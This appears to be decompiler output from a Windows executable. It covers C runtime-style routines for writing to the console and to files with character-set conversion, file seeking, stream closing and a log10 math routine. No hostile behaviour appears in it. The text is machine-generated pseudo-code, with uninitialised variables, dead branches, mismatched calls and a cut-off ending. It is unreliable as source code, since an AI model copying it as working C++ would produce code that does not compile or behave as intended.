uint16_t** v11;
signed char v12;
struct s86* v13;

v4 = reinterpret_cast<int32_t>(__return_address());
fun_405d20(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff0, a3, v5, v6, v7, v8,
ebp9, *reinterpret_cast<void***>(&v4));
eax10 = static_cast<uint32_t>((*v11)[a2]) & 0x8000;
if (v12) {
v13->f350 = v13->f350 & 0xfffffffd;
}
return eax10;
}
struct s87 {
signed char[16] pad16;
int32_t* f10;
};

void fun_407c5b(int32_t a1);

void fun_40a178(void** ecx) {

int32_t v2;
struct s87* ebp3;

v2 = *ebp3->f10;
fun_407c5b(v2);
return;
}

struct s88 {
uint32_t f0;
uint32_t f4;
uint32_t f8;
};

int32_t GetConsoleCP = 0x1558c;

void** fun_40a21b(void** ecx, struct s88* a2, void** a3, void** a4, void** a5) {
void* ebp6;
uint32_t eax7;
uint32_t v8;
void** ecx9;
void** v10;
void** ebx11;
uint32_t ebx12;
void** v13;
void** esi14;
void* eax15;
void** v16;
void** edi17;
void** edi18;
void** v19;
void** v20;
void** v21;
void** v22;
void** eax23;
struct s88* esi24;
 void** ecx25;
void** v26;
uint32_t ecx27;
void** v28;
void** v29;
int32_t v30;
void** eax31;
void** v32;
void* edx33;
void** eax34;
uint32_t v35;
void** v36;
uint32_t eax37;
uint32_t eax38;
void* v39;
void* v40;
void** eax41;
void* v42;
int32_t eax43;
void** v44;
int32_t eax45;
uint32_t v46;
uint32_t eax47;

ebp6 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax7 = g416004;
v8 = eax7 ^ reinterpret_cast<uint32_t>(ebp6);
ecx9 = reinterpret_cast<void**>(reinterpret_cast<signed char>(a3) >> 6);
v10 = ebx11;
ebx12 = (reinterpret_cast<unsigned char>(a3) & 63) * 48;
v13 = esi14;
eax15 = *reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx9) * 4 + 0x417040);
v16 = edi17;
edi18 = a4;
v19 = edi18;
v20 = ecx9;
v21 = *reinterpret_cast<void***>(reinterpret_cast<int32_t>(eax15) + ebx12 + 24);
v22 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(edi18));
eax23 = reinterpret_cast<void**>(GetConsoleCP());
esi24 = a2;
ecx25 = v22;
v26 = eax23;
esi24->f0 = 0;
 esi24->f4 = 0;
esi24->f8 = 0;
if (reinterpret_cast<unsigned char>(edi18) >= reinterpret_cast<unsigned char>(ecx25)) {
addr_40a3bb_2:
ecx27 = v8 ^ reinterpret_cast<uint32_t>(ebp6);
eax31 = fun_402f62(ecx27, v26, v28, v19, v20, v21, v22, v29, ecx27, v26, v28, v19, v20,
v21, v22, v30);
return eax31;
} else {
do {
(&ecx25)[1] = *reinterpret_cast<void***>(edi18);
v32 = (&ecx25)[1];
edx33 = *reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v20) * 4 +
0x417040);
*reinterpret_cast<unsigned char*>(&ecx25) = *reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(edx33) + ebx12 + 45);
if (!(*reinterpret_cast<unsigned char*>(&ecx25) & 4)) {
eax34 = fun_407f67(ecx25, v16, v13, v10, v26, v28, v19, v20, v21);
if (!(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(eax34 +
reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi18)) * 2)) & 0x8000)) {
v35 = 1;
v36 = edi18;
} else {
if (reinterpret_cast<unsigned char>(edi18) >= reinterpret_cast<unsigned
char>(v22))
goto addr_40a392_7;
eax37 = fun_409214(reinterpret_cast<uint32_t>(ebp6) + 0xffffffe8, edi18, 2);
if (eax37 == 0xffffffff)
goto addr_40a3bb_2;
++edi18;
goto addr_40a304_10;
}
} else {
v35 = 2;
*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(edx33) + ebx12 + 45) =
reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&ecx25) & 0xfb);
v36 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp6) + 0xfffffff4);
}
eax38 = fun_409214(reinterpret_cast<uint32_t>(ebp6) + 0xffffffe8, v36, v35);
if (eax38 == 0xffffffff)
goto addr_40a3bb_2;
addr_40a304_10:
v39 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp6) + 0xffffffec);
++edi18;
 v40 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp6) + 0xffffffe8);
eax41 = reinterpret_cast<void**>(WideCharToMultiByte(v26, 0, v40, 1, v39, 5, 0, 0));
v28 = eax41;
if (!eax41)
goto addr_40a3bb_2;
ecx25 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp6) + 0xffffffe0);
v42 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp6) + 0xffffffec);
eax43 = reinterpret_cast<int32_t>(WriteFile(v21, v42, eax41, ecx25, 0, v26, 0, v40, 1,
v39, 5, 0, 0));
if (!eax43)
break;
esi24->f4 = esi24->f8 - reinterpret_cast<unsigned char>(v19) +
reinterpret_cast<unsigned char>(edi18);
if (reinterpret_cast<unsigned char>(v44) < reinterpret_cast<unsigned char>(v28))
goto addr_40a3bb_2;
if (reinterpret_cast<int1_t>(v32 == 10)) {
eax45 = reinterpret_cast<int32_t>(WriteFile(v21, reinterpret_cast<uint32_t>(ebp6) +
0xffffffe4, 1, reinterpret_cast<uint32_t>(ebp6) + 0xffffffe0, 0, v21, v42, eax41, ecx25, 0, v26, 0,
v40, 1, v39, 5, 0, 0));
if (!eax45)
break;
if (v46 < 1)
goto addr_40a3bb_2;
esi24->f8 = esi24->f8 + 1;
esi24->f4 = esi24->f4 + 1;
}
} while (reinterpret_cast<unsigned char>(edi18) < reinterpret_cast<unsigned char>(v22));
goto addr_40a390_20;
}
eax47 = reinterpret_cast<uint32_t>(GetLastError(v21, v42, eax41, ecx25, 0, v26, 0, v40, 1,
v39, 5, 0, 0));
esi24->f0 = eax47;
goto addr_40a3bb_2;
addr_40a390_20:
goto addr_40a3bb_2;
addr_40a392_7:

*reinterpret_cast<void***>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<
unsigned char>(v20) * 4 + 0x417040)) + ebx12 + 46) = *reinterpret_cast<void***>(edi18);
*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(v20) * 4 + 0x417040)) + ebx12 + 45) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(v20) * 4 + 0x417040)) + ebx12 + 45) | 4);
esi24->f4 = esi24->f4 + 1;
goto addr_40a3bb_2;
}

void** fun_40a4b1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
uint32_t ebx12;
void** ebx13;
void* eax14;
void** esi15;
int32_t ecx16;
void** eax17;
int32_t v18;
void** v19;
void* edi20;
void* edi21;
void* v22;
void* v23;
int32_t eax24;
void* v25;
void** eax26;
void** eax27;

v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
ebx13 = a4;
eax14 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
esi15 = a2;
ecx16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax14) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
*reinterpret_cast<void***>(esi15) = reinterpret_cast<void**>(0);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(ebx13));
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 8) = reinterpret_cast<void**>(0);
 v18 = ecx16;
v19 = eax17;
while (reinterpret_cast<unsigned char>(ebx13) < reinterpret_cast<unsigned char>(eax17)) {
edi20 = reinterpret_cast<void*>(ebp10 + 0xffffebfc);
do {
if (reinterpret_cast<unsigned char>(ebx13) >= reinterpret_cast<unsigned char>(eax17))
break;
++ebx13;
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ebx13) == 10)) {
*reinterpret_cast<void***>(esi15 + 8) = *reinterpret_cast<void***>(esi15 + 8) + 1;
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 1);
}
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 1);
eax17 = v19;
} while (reinterpret_cast<uint32_t>(edi20) < reinterpret_cast<uint32_t>(ebp10 + 0xfffffffb));
edi21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) -
reinterpret_cast<uint32_t>(ebp10 + 0xffffebfc));
v22 = reinterpret_cast<void*>(ebp10 + 0xffffebf4);
v23 = reinterpret_cast<void*>(ebp10 + 0xffffebfc);
eax24 = reinterpret_cast<int32_t>(WriteFile(ecx16, v23, edi21, v22, 0));
if (!eax24)
goto addr_40a575_9;
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi15 + 4)) + reinterpret_cast<uint32_t>(v25));
if (reinterpret_cast<uint32_t>(v25) < reinterpret_cast<uint32_t>(edi21))
goto addr_40a57d_11;
eax17 = v19;
ecx16 = v18;
}
addr_40a57d_11:
eax26 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax26;
addr_40a575_9:
eax27 = reinterpret_cast<void**>(GetLastError(ecx16, v23, edi21, v22, 0));
*reinterpret_cast<void***>(esi15) = eax27;
goto addr_40a57d_11;
}

void** fun_40a67e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
 uint32_t ebx12;
void* eax13;
void** ebx14;
void** edi15;
int32_t v16;
void** eax17;
void** v18;
void** eax19;
void** esi20;
void* eax21;
void* v22;
void* ecx23;
int32_t v24;
void* v25;
void** eax26;
void** esi27;
void** v28;
int32_t eax29;
void* v30;
void** eax31;

v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
eax13 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
ebx14 = reinterpret_cast<void**>(0);
edi15 = a4;
v16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax13) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(a4));
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
v18 = eax17;
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
if (reinterpret_cast<unsigned char>(a4) >= reinterpret_cast<unsigned char>(eax17)) {
addr_40a798_2:
eax19 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax19;
} else {
while (1) {
esi20 = v18;
 eax21 = reinterpret_cast<void*>(ebp10 + 0xfffff950);
do {
if (reinterpret_cast<unsigned char>(edi15) >= reinterpret_cast<unsigned
char>(esi20))
break;
edi15 = edi15 + 2;
if
(static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(edi15))) == 10) {
eax21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax21) + 2);
}
eax21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax21) + 2);
} while (reinterpret_cast<uint32_t>(eax21) < reinterpret_cast<uint32_t>(ebp10 +
0xfffffff8));
v22 = reinterpret_cast<void*>(ebp10 + 0xffffebf8);
ecx23 = reinterpret_cast<void*>(ebp10 + 0xfffff950);
v24 = reinterpret_cast<int32_t>(reinterpret_cast<uint32_t>(eax21) -
reinterpret_cast<uint32_t>(ecx23)) >> 1;
v25 = ecx23;
eax26 = reinterpret_cast<void**>(WideCharToMultiByte(0xfde9, 0, v25, v24, v22, 0xd55,
0, 0));
esi27 = a2;
v28 = eax26;
if (!eax26)
break;
do {
eax29 = reinterpret_cast<int32_t>(WriteFile(v16, reinterpret_cast<uint32_t>(ebp10 +
0xffffebf8) + reinterpret_cast<unsigned char>(ebx14), reinterpret_cast<unsigned char>(eax26) -
reinterpret_cast<unsigned char>(ebx14), ebp10 + 0xffffebf0, 0, 0xfde9, 0, v25, v24, v22, 0xd55,
0, 0));
if (!eax29)
goto addr_40a790_10;
ebx14 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx14) +
reinterpret_cast<uint32_t>(v30));
eax26 = v28;
} while (reinterpret_cast<unsigned char>(ebx14) < reinterpret_cast<unsigned
char>(eax26));
*reinterpret_cast<void***>(esi27 + 4) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi15) - reinterpret_cast<unsigned
char>(a4));
if (reinterpret_cast<unsigned char>(edi15) >= reinterpret_cast<unsigned char>(v18))
goto addr_40a798_2;
ebx14 = reinterpret_cast<void**>(0);
}
}
 addr_40a790_10:
eax31 = reinterpret_cast<void**>(GetLastError(0xfde9, 0, v25, v24, v22, 0xd55, 0, 0));
*reinterpret_cast<void***>(esi27) = eax31;
goto addr_40a798_2;
}

void** fun_40a896(void** a1, void** a2, void** a3) {

void* ebp4;
uint32_t eax5;
void** edi6;
void** v7;
void** ebx8;
void** edx9;
void** v10;
void** eax11;
void** v12;
void** v13;
signed char bl14;
int32_t eax15;
void** ebx16;
void** edi17;
void** esi18;
void** v19;
void** v20;
void** v21;
void** eax22;
void** v23;
void** v24;
void** v25;
void** eax26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** eax33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** eax40;
 void** v41;
uint32_t ecx42;
void** eax43;
unsigned char al44;
void** ecx45;
int32_t eax46;
int32_t eax47;
int32_t eax48;
int32_t eax49;
void** eax50;
void** eax51;
void** eax52;

ebp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = g416004;
edi6 = a2;
v7 = edi6;
if (a3) {
if (edi6) {
ebx8 = reinterpret_cast<void**>(reinterpret_cast<signed char>(a1) >> 6);
edx9 = reinterpret_cast<void**>((reinterpret_cast<unsigned char>(a1) & 63) * 48);
v10 = ebx8;
eax11 = *reinterpret_cast<void***>(reinterpret_cast<unsigned char>(ebx8) * 4 +
0x417040);
v12 = eax11;
v13 = edx9;
bl14 = *reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(eax11) +
reinterpret_cast<unsigned char>(edx9) + 41);
if (bl14 == 2 || bl14 == 1) {
eax15 = reinterpret_cast<int32_t>(~reinterpret_cast<unsigned char>(a3));
if (*reinterpret_cast<unsigned char*>(&eax15) & 1) {
eax11 = v12;
goto addr_40a93b_6;
} else {
eax22 = fun_4060d5(a3, ebx16, edi17, esi18, v7, v12, v19, v20, v21, v10);
*reinterpret_cast<void***>(eax22) = reinterpret_cast<void**>(0);
eax26 = fun_4060e8(a3, ebx16, edi17, esi18, v7, v12, v23, v24, v25, v10);
*reinterpret_cast<void***>(eax26) = reinterpret_cast<void**>(22);
fun_40602c(a3, ebx16, edi17, esi18, v7);
}
} else {
addr_40a93b_6:
if (*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(eax11) +
reinterpret_cast<unsigned char>(edx9) + 40) & 32) {
 fun_40ad9b(a3, a1, 0, 0, 2);
goto addr_40a951_9;
}
}
} else {
eax33 = fun_4060d5(a3, edi17, esi18, v7, v27, v28, v29, v30, v31, v32);
*reinterpret_cast<void***>(eax33) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(eax33)) & reinterpret_cast<unsigned char>(edi6));
eax40 = fun_4060e8(a3, edi17, esi18, v7, v34, v35, v36, v37, v38, v39);
*reinterpret_cast<void***>(eax40) = reinterpret_cast<void**>(22);
fun_40602c(a3, edi17, esi18, v7, v41);
goto addr_40aa92_11;
}
} else {
goto addr_40aa92_11;
}
addr_40aa89_13:
addr_40aa91_14:
addr_40aa92_11:
ecx42 = eax5 ^ reinterpret_cast<uint32_t>(ebp4) ^ reinterpret_cast<uint32_t>(ebp4);
eax43 = fun_402f62(ecx42, v7, v12, 0, 0, 0, v10, v13, ecx42, v7, v12, 0, 0, 0, v10, v13);
return eax43;
addr_40a951_9:
al44 = fun_40a43b(a3, a1, ebx16, edi17, esi18, v7, v12);
ecx45 = a1;
if (!al44) {
ecx45 = *reinterpret_cast<void***>(reinterpret_cast<unsigned char>(v10) * 4 + 0x417040);
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(ecx45) +
reinterpret_cast<unsigned char>(v13) + 40) & 0x80)) {
eax46 = *reinterpret_cast<int32_t*>(reinterpret_cast<unsigned char>(ecx45) +
reinterpret_cast<unsigned char>(v13) + 24);
ecx45 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp4) + 0xfffffff0);
eax47 = reinterpret_cast<int32_t>(WriteFile(eax46, edi6, a3, ecx45, 0));
if (!eax47) {
GetLastError(eax46, edi6, a3, ecx45, 0);
}
} else {
eax48 = bl14;
if (!eax48) {
fun_40a4b1(ecx45, reinterpret_cast<uint32_t>(ebp4) + 0xffffffec, a1, edi6, a3, ebx16);
goto addr_40a990_21;
} else {
eax49 = eax48 - 1;
if (!eax49) {
 fun_40a67e(ecx45, reinterpret_cast<uint32_t>(ebp4) + 0xffffffec, a1, edi6, a3,
ebx16);
goto addr_40a990_21;
} else {
if (eax49 - 1) {
addr_40aa59_25:
if (!(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(v10) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(v13) + 40) & 64) ||
!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(edi6) == 26)) {
eax50 = fun_4060e8(v13, ebx16, edi17, esi18, v7, v12, 0, 0, 0, v10);
*reinterpret_cast<void***>(eax50) = reinterpret_cast<void**>(28);
eax51 = fun_4060d5(v13, ebx16, edi17, esi18, v7, v12, 0, 0, 0, v10);
*reinterpret_cast<void***>(eax51) = reinterpret_cast<void**>(0);
goto addr_40aa89_13;
} else {
goto addr_40aa91_14;
}
} else {
fun_40a590(ecx45, reinterpret_cast<uint32_t>(ebp4) + 0xffffffec, a1, edi6, a3,
ebx16);
goto addr_40a990_21;
}
}
}
}
} else {
if (!bl14) {
fun_40a21b(ecx45, reinterpret_cast<uint32_t>(ebp4) + 0xffffffec, a1, edi6, a3);
goto addr_40a990_21;
} else {
if (reinterpret_cast<unsigned char>(bl14 - 1) > 1)
goto addr_40aa59_25;
fun_40a3ce(ecx45, reinterpret_cast<uint32_t>(ebp4) + 0xffffffec, edi6, a3);
goto addr_40a97b_33;
}
}
addr_40aa1e_34:
if (0) {
goto addr_40aa91_14;
} else {
if (1) {
edi6 = v7;
goto addr_40aa59_25;
 } else {
if (1) {
fun_4060b2(ecx45, 0, ebx16, edi17, esi18, v7, v12);
goto addr_40aa89_13;
} else {
eax52 = fun_4060e8(ecx45, ebx16, edi17, esi18, v7, v12, 0, 0, 0, v10);
*reinterpret_cast<void***>(eax52) = reinterpret_cast<void**>(9);
eax51 = fun_4060d5(ecx45, ebx16, edi17, esi18, v7, v12, 0, 0, 0, v10);
*reinterpret_cast<void***>(eax51) = reinterpret_cast<void**>(5);
goto addr_40aa89_13;
}
}
}
addr_40a990_21:
addr_40a97b_33:
goto addr_40aa1e_34;
}

void fun_407c5b(int32_t a1) {

int32_t ebp2;

LeaveCriticalSection();
goto ebp2;
}

void fun_40a86d() {
int32_t esi1;

fun_407c5b(esi1);
return;
}

int32_t SetFilePointerEx = 0x155ae;

void** fun_40ad1d(void** ecx, void** a2, void** a3, void** a4, int32_t a5) {
void** v6;
void** edi7;
void** esi8;
void** ebp9;
void** eax10;
int32_t v11;
void** ecx12;
int32_t eax13;
void** eax14;
 uint32_t esi15;
void** eax16;
void** eax17;

v6 = reinterpret_cast<void**>(__return_address());
eax10 = fun_407d0f(ecx, a2, edi7, esi8, ecx, ecx, ebp9, v6);
if (!reinterpret_cast<int1_t>(eax10 == 0xffffffff)) {
v11 = a5;
ecx12 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xfffffff8);
eax13 = reinterpret_cast<int32_t>(SetFilePointerEx(eax10, a3, a4, ecx12, v11));
if (eax13) {
if ((reinterpret_cast<unsigned char>(ecx) & reinterpret_cast<unsigned char>(ecx)) ==
0xffffffff) {
addr_40ad42_4:
eax14 = reinterpret_cast<void**>(0xffffffff);
} else {
eax14 = ecx;
esi15 = (reinterpret_cast<unsigned char>(a2) & 63) * 48;
*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + esi15 + 40) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + esi15 + 40) & 0xfd);
}
return eax14;
} else {
eax16 = reinterpret_cast<void**>(GetLastError(eax10, a3, a4, ecx12, v11));
fun_4060b2(ecx12, eax16, eax10, a3, a4, ecx12, *reinterpret_cast<void***>(&v11));
goto addr_40ad42_4;
}
} else {
eax17 = fun_4060e8(a2, edi7, esi8, ecx, ecx, ebp9, v6, a2, a3, a4);
*reinterpret_cast<void***>(eax17) = reinterpret_cast<void**>(9);
goto addr_40ad42_4;
}
}

uint32_t fun_40adb6(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** esi14;
 void** eax15;
void** v16;
void** edi17;
uint32_t edi18;
uint32_t eax19;
uint32_t eax20;
void** ebp21;
void** eax22;
uint32_t eax23;
void** v24;
uint32_t eax25;
void** eax26;

v12 = reinterpret_cast<void**>(__return_address());
v13 = esi14;
if (a2) {
eax15 = *reinterpret_cast<void***>(a2 + 12);
v16 = edi17;
edi18 = 0xffffffff;
eax19 = reinterpret_cast<unsigned char>(eax15) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax19) & 1) {
eax20 = fun_409d09(a2);
edi18 = eax20;
fun_40a092(ecx, a2, a2, v16, v13, ebp21, v12, a2, a3, a4, a5);
eax22 = fun_409288(ecx, a2, a2, a2, v16, v13, ebp21, v12);
eax23 = fun_40bb5e(ecx, eax22, a2, a2, a2, v16);
if (reinterpret_cast<int32_t>(eax23) >= reinterpret_cast<int32_t>(0)) {
if (*reinterpret_cast<void***>(a2 + 28)) {
v24 = *reinterpret_cast<void***>(a2 + 28);
fun_406c46(ecx, v24, v16, v13, ebp21, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11);
*reinterpret_cast<void***>(a2 + 28) = reinterpret_cast<void**>(0);
ecx = v24;
}
} else {
edi18 = 0xffffffff;
}
}
fun_40bc79(ecx, a2);
eax25 = edi18;
} else {
eax26 = fun_4060e8(ecx, v13, ebp21, v12, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax26) = reinterpret_cast<void**>(22);
fun_40602c(ecx, v13, ebp21, v12, a2);
 eax25 = 0xffffffff;
}
return eax25;
}

void** fun_40af8e() {
void* esp1;
uint32_t edx2;
void** eax3;
uint32_t ecx4;
uint32_t ecx5;
void** eax6;
int32_t edx7;
void* edx8;
void* edx9;
void** eax10;
uint32_t ecx11;

esp1 = __zero_stack_offset();
edx2 = 0;
while (eax3 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax3) & 0x7f0), ecx4
= ecx5 - 1, ecx4 > 0x7fd) {
__asm__("movlpd xmm0, [esp+0x4]");
__asm__("movapd xmm1, [0x412240]");
__asm__("pextrw eax, xmm1, 0x0");
if (reinterpret_cast<unsigned char>(eax3) > reinterpret_cast<unsigned char>(0))
goto addr_40b14b_7;
if (ecx4 != 0xffffffff)
goto addr_40b108_9;
__asm__("movlpd xmm1, [0x412250]");
__asm__("mulsd xmm0, xmm1");
edx2 = 0xffffffcc;
}
__asm__("cvtsi2sd xmm6, ecx");
__asm__("unpcklpd xmm6, xmm6");
eax6 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax3) + (ecx4 - 0x3fe +
edx2 << 10));
if (!eax6) {
}
__asm__("movapd xmm1, [0x412280]");
__asm__("movapd xmm3, xmm0");
__asm__("movapd xmm2, [0x412290]");
__asm__("mulpd xmm1, xmm0");
__asm__("mulpd xmm3, xmm3");
__asm__("addpd xmm1, xmm2");
__asm__("movapd xmm2, [0x4122a0]");
__asm__("mulsd xmm3, xmm3");
__asm__("movapd xmm5, [0x412200]");
__asm__("mulpd xmm6, xmm5");
__asm__("movapd xmm5, [edx+0x412210]");
__asm__("andpd xmm4, xmm5");
__asm__("addpd xmm7, xmm6");
__asm__("addpd xmm7, xmm4");
__asm__("mulpd xmm1, xmm0");
__asm__("mulsd xmm3, xmm0");
__asm__("addpd xmm1, xmm2");
__asm__("movapd xmm2, [0x4122b0]");
__asm__("mulpd xmm2, xmm0");
__asm__("movapd xmm6, xmm7");
__asm__("unpckhpd xmm6, xmm6");
__asm__("mulpd xmm1, xmm3");
__asm__("movapd xmm0, xmm1");
__asm__("addpd xmm1, xmm2");
__asm__("unpckhpd xmm0, xmm0");
__asm__("addsd xmm0, xmm1");
__asm__("addsd xmm0, xmm6");
__asm__("addsd xmm0, xmm7");
__asm__("movlpd [esp+0x4], xmm0");
__asm__("fld qword [esp+0x4]");
return eax6;
addr_40b14b_7:
__asm__("movlpd xmm2, [0x412230]");
__asm__("divsd xmm2, xmm0");
__asm__("movlpd xmm1, [0x412260]");
edx7 = 8;
addr_40b19a_14:
__asm__("movlpd [esp+0x10], xmm1");
edx8 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp1) - 28 + 16);
edx9 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(edx8) + 16);
eax10 = fun_40b7e3(edx9, edx9, edx8, edx7);
__asm__("fld qword [esp+0x10]");
return eax10;
addr_40b108_9:
if (ecx4 > 0x7fe) {
ecx11 = ecx4 + 1 & 0x7ff;
if (ecx11 < 0x7ff || !(reinterpret_cast<unsigned char>(eax3) | ecx11 & 0xfffff)) {
__asm__("xorpd xmm1, xmm1");
__asm__("divsd xmm1, xmm1");
 edx7 = 9;
goto addr_40b19a_14;
} else {
edx7 = 0x3e9;
goto addr_40b19a_14;
}
} else {
__asm__("movlpd xmm0, [esp+0x4]");
__asm__("movapd xmm1, [0x4121c0]");
__asm__("movapd xmm2, [0x412230]");
__asm__("andpd xmm0, xmm1");
__asm__("orpd xmm0, xmm2");
__asm__("pextrw eax, xmm2, 0x0");
if (eax3)
goto addr_40b13d_22;
}
edx7 = 0x3e9;
goto addr_40b19a_14;
addr_40b13d_22:
__asm__("fld qword [0x412268]");
return eax3;
}

uint32_t fun_40b688() {
uint32_t eax1;
uint32_t v2;
uint32_t v3;

eax1 = v2 & 0x7ff00000;

if (eax1 == 0x7ff00000) {
return v3;
} else {
return eax1;
}
}

void** fun_40b62c();

void** fun_40ab48(int32_t a1, void** a2) {

void* v3;
void* edx4;
int1_t zf5;
uint32_t eax6;
void** eax7;
uint32_t eax8;
int1_t zf9;
int1_t zf10;
void** eax11;
uint16_t fpu_status_word12;
void** eax13;

v3 = edx4;
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf5) {
if (eax6 & 0xfffff || a1) {
eax7 = fun_40b62c();
} else {
eax7 = reinterpret_cast<void**>(eax8 & 0x80000000);
if (!eax7) {
addr_40ab75_5:
zf9 = g417278 == 0;
if (!zf9) {
if (v3 != 0x27f) {
__asm__("fldcw word [esp]");
goto addr_40b6a9_8;
}
} else {
*reinterpret_cast<void**>(&eax7) = v3;
if (*reinterpret_cast<void**>(&eax7) == 0x27f)
goto addr_40b6d3_11; else
goto addr_40b6b5_12;
}
} else {
addr_40abb0_13:
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax7 = reinterpret_cast<void**>(1);
}
}
} else {
eax7 = a2;
if (v3 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
if (!(reinterpret_cast<unsigned char>(eax7) & 0x7ff00000))
goto addr_40abc6_17; else
goto addr_40ab68_18;
 }
addr_40abe1_19:
zf10 = g417278 == 0;
if (zf10) {
eax11 = fun_40b7a7("log10", v3);
return eax11;
}
addr_40b6a9_8:
return eax7;
addr_40b6d3_11:
return eax7;
addr_40b6b5_12:
*reinterpret_cast<void**>(&eax7) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax7)) & 32);
if (!*reinterpret_cast<void**>(&eax7) || (*reinterpret_cast<void**>(&eax7) =
reinterpret_cast<void*>(fpu_status_word12 & 32), *reinterpret_cast<void**>(&eax7) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_11;
} else {
eax13 = fun_40b7a7("log10", v3);
return eax13;
}
addr_40abc6_17:
if (reinterpret_cast<unsigned char>(eax7) & 0xfffff || a1) {
if (reinterpret_cast<unsigned char>(eax7) & 0x80000000)
